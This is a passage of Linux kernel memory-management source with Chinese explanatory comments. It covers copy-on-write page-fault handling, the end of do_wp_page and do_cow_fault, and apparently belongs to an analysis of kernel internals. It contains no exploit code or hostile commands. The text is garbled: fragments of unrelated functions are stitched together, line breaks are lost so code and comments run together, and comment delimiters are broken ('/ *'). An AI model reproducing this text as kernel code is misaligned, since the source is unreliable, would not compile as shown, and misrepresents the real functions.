*/
page_move_anon_rmap(old_page, vma, address); // 移动页面到匿名映射区
unlock_page(old_page);
return wp_page_reuse(mm, vma, address, page_table, ptl, // 重用页面
orig_pte, old_page, 0, 0);
}
unlock_page(old_page);
} else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
(VM_WRITE|VM_SHARED))) {
return wp_page_shared(mm, vma, address, page_table, pmd,
ptl, orig_pte, old_page);
}
/*
* Ok, we need to copy. Oh, well..
*/
page_cache_get(old_page);
pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}
mmput(mm); free: free_page((unsigned long) page); // 释放临时空闲页面 return copied; }
if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) { // 检查当前进程使用的内存是否超过了cgroup的限制 page_cache_release(new_page); // 释放COW的新页 return VM_FAULT_OOM; // 返回OOM错误，COW失败 }
ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page); // 从文件中读取数据到fault_page if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY))) goto uncharge_out;
if (fault_page) // 读取成功 copy_user_highpage(new_page, fault_page, address, vma); // 将fault_page的数据拷贝到new_page中，实际调用memcpy __SetPageUptodate(new_page);
pte = pte_offset_map_lock(mm, pmd, address, &ptl); if (unlikely(!pte_same(pte, orig_pte))) { // 并发检查 pte_unmap_unlock(pte, ptl); if (fault_page) { unlock_page(fault_page); page_cache_release(fault_page); } else { / * The fault handler has no page to lock, so it holds * i_mmap_lock for read to protect against truncate. / i_mmap_unlock_read(vma->vm_file->f_mapping); } goto uncharge_out; } do_set_pte(vma, address, new_page, pte, true, true); // 设置新页的PTE，该页为可写匿名页 mem_cgroup_commit_charge(new_page, memcg, false); lru_cache_add_active_or_unevictable(new_page, vma); pte_unmap_unlock(pte, ptl); if (fault_page) { unlock_page(fault_page); page_cache_release(fault_page); } else { / * The fault handler has no page to lock, so it holds * i_mmap_lock for read to protect against truncate. */ i_mmap_unlock_read(vma->vm_file->f_mapping); } return ret; uncharge_out: mem_cgroup_cancel_charge(new_page, memcg); page_cache_release(new_page); return ret; }